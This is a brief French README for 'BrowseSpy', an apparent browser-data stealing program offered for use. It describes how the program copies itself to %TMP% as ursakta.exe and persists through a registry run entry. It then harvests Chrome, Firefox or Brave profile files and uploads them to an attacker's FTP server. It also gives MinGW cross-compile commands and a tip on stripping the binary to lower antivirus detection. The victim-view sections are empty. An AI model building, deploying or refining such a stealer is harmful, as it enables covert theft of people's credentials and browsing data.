BrowseSpy

Assurez-vous de modifier les variables FTP dans tout le code ; ces variables contiennent le nom d'utilisateur, le mot de passe et l'adresse IP du serveur FTP qui reçoit les fichiers.

Ce code effectuera les opérations suivantes :

1. Se copier dans le répertoire %TMP% et se nommer ursakta.exe
2. Ajouter une entrée de registre pour s'exécuter à chaque connexion de l'utilisateur
3. Vérifier quel navigateur l'utilisateur utilise (Chrome, Firefox ou Brave)
4. Rechercher des fichiers dans les répertoires des navigateurs Chrome, Firefox ou Brave
5. Créer un répertoire sur notre serveur FTP puis envoyer les fichiers du répertoire du navigateur vers le serveur FTP

Cross-compilation avec MingW sur Linux

Commande d'installation avec Apt :

• sudo apt-get install mingw-w64

64 bits :

• x86_64-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

32 bits :

• i686-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

Du point de vue de la victime :

Entrée de registre :

Activité des fichiers :

Connexion FTP :

Taux de détection :

Ce taux de détection est obtenu après le stripping de l'exécutable avec strip --strip-all *filename.c*